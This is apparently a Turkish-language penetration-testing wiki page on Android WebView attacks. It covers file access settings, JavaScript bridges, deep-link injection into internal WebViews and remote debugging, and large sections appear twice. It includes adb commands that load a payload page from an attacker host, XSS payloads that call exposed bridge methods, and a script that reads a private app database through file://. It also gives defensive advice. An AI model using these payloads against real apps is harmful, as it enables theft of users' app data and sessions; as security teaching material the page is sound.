Webview Saldırıları

Reading time: 12 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

WebView Yapılandırmaları ve Güvenlik Rehberi

WebView Güvenlik Açıkları Genel Bakış

Android geliştirmesinin kritik bir yönü, WebView'ların doğru bir şekilde yönetilmesidir. Bu rehber, WebView kullanımına ilişkin riskleri azaltmak için ana yapılandırmaları ve güvenlik uygulamalarını vurgulamaktadır.

WebView Örneği

WebView'larda Dosya Erişimi

Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, Android API seviyesi 3 (Cupcake 1.5) itibarıyla mevcut olan setAllowFileAccess() metodu ile kontrol edilir. android.permission.READ_EXTERNAL_STORAGE iznine sahip uygulamalar, dış depolamadan dosyaları bir dosya URL şeması (file://path/to/file) kullanarak okuyabilir.

Kaldırılan Özellikler: URL'lerden Evrensel ve Dosya Erişimi

  • Dosya URL'lerinden Evrensel Erişim: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümleri hedefleyen uygulamalar için devre dışıdır (false).
  • Bu ayarı kontrol etmek için getAllowUniversalAccessFromFileURLs() kullanın.
  • Bu ayarı değiştirmek için setAllowUniversalAccessFromFileURLs(boolean) kullanın.
  • Dosya URL'lerinden Dosya Erişimi: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içerik erişimini kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı güvenliği artırmak için devre dışıdır.
  • Kontrol etmek için getAllowFileAccessFromFileURLs() ve ayarlamak için setAllowFileAccessFromFileURLs(boolean) kullanın.

Güvenli Dosya Yükleme

Dosya sistemi erişimini devre dışı bırakırken varlıklar ve kaynaklara erişim sağlamak için setAllowFileAccess() metodu kullanılır. Android R ve üzeri için varsayılan ayar false'dır.

  • Kontrol etmek için getAllowFileAccess() kullanın.
  • Etkinleştirmek veya devre dışı bırakmak için setAllowFileAccess(boolean) kullanın.

WebViewAssetLoader

WebViewAssetLoader sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımdır. Yerel varlıklara ve kaynaklara erişim için http(s) URL'lerini kullanır ve Aynı-Köken politikası ile uyumlu olup, CORS yönetimini kolaylaştırır.

loadUrl

Bu, bir webview'da rastgele URL'leri yüklemek için kullanılan yaygın bir işlevdir:

java
webview.loadUrl("<url here>")

Elbette, potansiyel bir saldırganın bir uygulamanın yükleyeceği URL'yi asla kontrol edememesi gerekir.

JavaScript ve Intent Şeması Yönetimi

  • JavaScript: WebView'larda varsayılan olarak devre dışıdır, setJavaScriptEnabled() ile etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi güvenlik açıkları oluşturabileceğinden dikkatli olunmalıdır.
  • Intent Şeması: WebView'lar intent şemasını işleyebilir, dikkatli yönetilmezse istismar edilebilir. Bir örnek güvenlik açığı, "support_url" adlı bir WebView parametresinin açığa çıkmasıydı; bu, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilirdi.

Vulnerable WebView

adb kullanarak istismar örneği:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android, JavaScript'in bir WebView içinde yerel Android uygulama fonksiyonlarını çağırmasına olanak tanıyan bir özellik sunar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden addJavascriptInterface yönteminin kullanılmasıyla gerçekleştirilir ve buna WebView JavaScript köprüsü denir. Bu yöntemin, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüz nesnesine erişmesine izin verdiği için dikkatli olunması önerilir; bu, hassas bilgilerin bu arayüzler aracılığıyla ifşa edilmesi durumunda bir güvenlik riski oluşturur.

  • Aşırı dikkat gereklidir; çünkü 4.2'nin altındaki Android sürümlerini hedefleyen uygulamalar için kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme olanağı sağlayan bir güvenlik açığı bulunmaktadır.

JavaScript Köprüsü Uygulama

  • JavaScript arayüzleri, bir sınıf yönteminin JavaScript'e açıldığı örneklerde gösterildiği gibi, yerel kodla etkileşimde bulunabilir:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge, WebView'e bir arayüz ekleyerek etkinleştirilir:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript aracılığıyla potansiyel istismar, örneğin, bir XSS saldırısı yoluyla, açığa çıkarılmış Java yöntemlerinin çağrılmasını sağlar:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Riskleri azaltmak için, JavaScript köprü kullanımını APK ile birlikte gönderilen kodla sınırlayın ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.

Yansıma Tabanlı Uzaktan Kod Çalıştırma (RCE)

  • Belgelendirilmiş bir yöntem, belirli bir yükü çalıştırarak yansıma yoluyla RCE elde etmeyi sağlar. Ancak, @JavascriptInterface notasyonu yetkisiz yöntem erişimini engelleyerek saldırı yüzeyini sınırlar.

Uzaktan Hata Ayıklama

  • Uzaktan hata ayıklama, Chrome Geliştirici Araçları ile mümkündür ve WebView içeriği içinde etkileşim ve keyfi JavaScript çalıştırma imkanı sunar.

Uzaktan Hata Ayıklamayı Etkinleştirme

  • Uzaktan hata ayıklama, bir uygulama içindeki tüm WebView'lar için etkinleştirilebilir:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Rastgele dosyaları dışarı aktarma

  • XMLHttpRequest kullanarak rastgele dosyaların dışarı aktarımını gösterir:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Saldırıları

WebView Yapılandırmaları ve Güvenlik Rehberi

WebView Güvenlik Açıkları Genel Bakış

Android geliştirmesinin kritik bir yönü, WebView'ların doğru bir şekilde yönetilmesidir. Bu rehber, WebView kullanımına ilişkin riskleri azaltmak için ana yapılandırmaları ve güvenlik uygulamalarını vurgulamaktadır.

WebView Örneği

WebView'larda Dosya Erişimi

Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, Android API seviye 3 (Cupcake 1.5) itibarıyla mevcut olan setAllowFileAccess() metodu ile kontrol edilir. android.permission.READ_EXTERNAL_STORAGE iznine sahip uygulamalar, dosya URL şeması (file://path/to/file) kullanarak harici depolamadan dosyaları okuyabilir.

Kaldırılan Özellikler: Evrensel ve URL'lerden Dosya Erişimi

  • Dosya URL'lerinden Evrensel Erişim: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümleri hedefleyen uygulamalar için devre dışıdır (false).
  • Bu ayarı kontrol etmek için getAllowUniversalAccessFromFileURLs() kullanın.
  • Bu ayarı değiştirmek için setAllowUniversalAccessFromFileURLs(boolean) kullanın.
  • Dosya URL'lerinden Dosya Erişimi: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içeriğe erişimi kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı güvenliği artırmak için devre dışıdır.
  • Kontrol etmek için getAllowFileAccessFromFileURLs() ve ayarlamak için setAllowFileAccessFromFileURLs(boolean) kullanın.

Güvenli Dosya Yükleme

Dosya sistemi erişimini devre dışı bırakırken varlıklar ve kaynaklara erişim sağlamak için setAllowFileAccess() metodu kullanılır. Android R ve üzeri için varsayılan ayar false'dır.

  • Kontrol etmek için getAllowFileAccess() kullanın.
  • Etkinleştirmek veya devre dışı bırakmak için setAllowFileAccess(boolean) kullanın.

WebViewAssetLoader

WebViewAssetLoader sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımdır. Yerel varlıklara ve kaynaklara erişim için http(s) URL'lerini kullanır ve Aynı-Köken politikası ile uyumlu olup, CORS yönetimini kolaylaştırır.

loadUrl

Bu, bir webview'da rastgele URL'leri yüklemek için kullanılan yaygın bir işlevdir:

java
webview.loadUrl("<url here>")

Elbette, potansiyel bir saldırganın bir uygulamanın yükleyeceği URL'yi asla kontrol edememesi gerekir.

İç WebView'e derin bağlantı (özel şema → WebView sızıntısı)

Birçok uygulama, kullanıcı tarafından sağlanan bir URL'yi uygulama içi WebView'e yönlendiren özel şemalar/yollar kaydeder. Eğer derin bağlantı dışa aktarılırsa (GÖRÜNTÜ + GÖRÜNÜR), bir saldırgan uygulamanın WebView bağlamında rastgele uzaktan içerik görüntülemesini zorlayabilir.

Tipik manifest deseni (basitleştirilmiş):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Yaygın kod akışı (basitleştirilmiş):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

ADB aracılığıyla saldırı modeli ve PoC:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: uzaktan sayfa uygulama WebView bağlamında çalışır (uygulama WebView profili için çerezler/oturum, herhangi bir açık @JavascriptInterface'e erişim, ayarlara bağlı olarak content:// ve file:// erişimi).

Hunting tips:

  • getQueryParameter("url"), loadUrl(, WebView sink'leri ve derin bağlantı işleyicileri (onCreate/onNewIntent) için decompile edilmiş kaynakları Grep ile tarayın.
  • Manifestoyu, daha sonra bir WebView başlatan etkinliklere eşlenen VIEW+BROWSABLE filtreleri ve özel şemalar/hostlar için gözden geçirin.
  • Birden fazla derin bağlantı yolu olup olmadığını kontrol edin (örneğin, "harici tarayıcı" yolu ile "iç webview" yolu) ve uygulama içinde render edilen olanı tercih edin.

JavaScript'i doğrulamadan önce etkinleştirme (check sırası hatası)

Sık yapılan bir güvenlik hatası, hedef URL'nin nihai beyaz liste/doğrulaması tamamlanmadan önce JavaScript'i etkinleştirmek veya gevşek WebView ayarlarını yapılandırmaktır. Doğrulama yardımcılar arasında tutarsızsa veya çok geç oluyorsa, bir saldırgan derin bağlantı, aşağıdaki duruma ulaşabilir:

  1. WebView ayarları uygulanır (örneğin, setJavaScriptEnabled(true)), ve
  2. Güvenilmeyen URL, JavaScript etkinleştirilmiş olarak yüklenir.

Hata modeli (pseudocode):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Neden istismar edilebilir

  • Tutarsız normalizasyon: yardımcı programlar URL'yi son kontrol ile farklı şekilde ayırıp yeniden inşa eder, bu da kötü niyetli bir URL'nin istismar edebileceği uyumsuzluklar yaratır.
  • Yanlış sıralanmış işlem hattı: 2. adımda JS'nin etkinleştirilmesi, WebView örneğine küresel olarak uygulanır ve doğrulama daha sonra başarısız olsa bile son yüklemeyi etkiler.

Nasıl test edilir

  • Erken kontrolleri geçen ve WebView yapılandırma sitesine ulaşan derin bağlantı yükleri oluşturun.
  • ADB kullanarak sizin kontrolünüzdeki url= parametresini ileten örtük GÖRÜNTÜ niyetlerini ateşleyin:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Eğer istismar başarılı olursa, yüklemeniz uygulamanın WebView'ında JavaScript çalıştırır. Buradan, açığa çıkan köprüleri araştırın:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defansif rehberlik

  • Bir kez kanonize et; tek bir gerçek kaynağa (şema/host/yol/sorgu) karşı katı bir şekilde doğrula.
  • Sadece tüm izin listesi kontrolleri geçtikten sonra ve güvenilir içeriği yüklemeden hemen önce setJavaScriptEnabled(true) çağrısını yap.
  • Güvenilmeyen kökenlere @JavascriptInterface ifşa etmekten kaçın; köken başına kontrol tercih et.
  • Güvenilir ve güvenilmeyen içerikler için ayrı WebView örnekleri düşün, varsayılan olarak JS devre dışı.

JavaScript ve Intent Şeması Yönetimi

  • JavaScript: WebView'larda varsayılan olarak devre dışıdır, setJavaScriptEnabled() ile etkinleştirilebilir. Uygun güvenlik önlemleri olmadan JavaScript'i etkinleştirmenin güvenlik açıkları oluşturabileceği konusunda dikkatli olunmalıdır.
  • Intent Şeması: WebView'lar intent şemasını işleyebilir, dikkatli yönetilmezse istismar edilebilir. Bir örnek güvenlik açığı, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilecek "support_url" adlı bir WebView parametresinin ifşa edilmesini içeriyordu.

Vulnerable WebView

adb kullanarak istismar örneği:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android, JavaScript'in bir WebView içinde yerel Android uygulama fonksiyonlarını çağırmasını sağlayan bir özellik sunar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden addJavascriptInterface yönteminin kullanılmasıyla gerçekleştirilir ve buna WebView JavaScript köprüsü denir. Bu yöntem, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüz nesnesine erişmesine izin verdiğinden, hassas bilgilerin bu arayüzler aracılığıyla ifşa edilmesi durumunda bir güvenlik riski oluşturduğundan dikkatli olunması önerilir.

  • Aşırı dikkat gereklidir çünkü 4.2'nin altındaki Android sürümlerini hedefleyen uygulamalar, yansıtma yoluyla kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme açığına sahiptir.

JavaScript Köprüsünün Uygulanması

  • JavaScript arayüzleri, bir sınıf yönteminin JavaScript'e açıldığı örneklerde gösterildiği gibi, yerel kodla etkileşimde bulunabilir:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge, WebView'e bir arayüz ekleyerek etkinleştirilir:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScript aracılığıyla potansiyel istismar, örneğin, bir XSS saldırısı yoluyla, açığa çıkarılmış Java yöntemlerinin çağrılmasını sağlar:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Riskleri azaltmak için, JavaScript köprü kullanımını APK ile gönderilen kodla sınırlayın ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.

Yansıma Tabanlı Uzaktan Kod Çalıştırma (RCE)

  • Belgelendirilmiş bir yöntem, belirli bir yükü çalıştırarak RCE elde etmeyi sağlar. Ancak, @JavascriptInterface notasyonu yetkisiz yöntem erişimini engelleyerek saldırı yüzeyini sınırlar.

Uzaktan Hata Ayıklama

  • Uzaktan hata ayıklama, Chrome Geliştirici Araçları ile mümkündür ve WebView içeriğinde etkileşim ve keyfi JavaScript çalıştırma imkanı sunar.

Uzaktan Hata Ayıklamayı Etkinleştirme

  • Uzaktan hata ayıklama, bir uygulama içindeki tüm WebView'lar için etkinleştirilebilir:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Rastgele dosyaları dışarı aktarma

  • XMLHttpRequest kullanarak rastgele dosyaların dışarı aktarımını gösterir:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin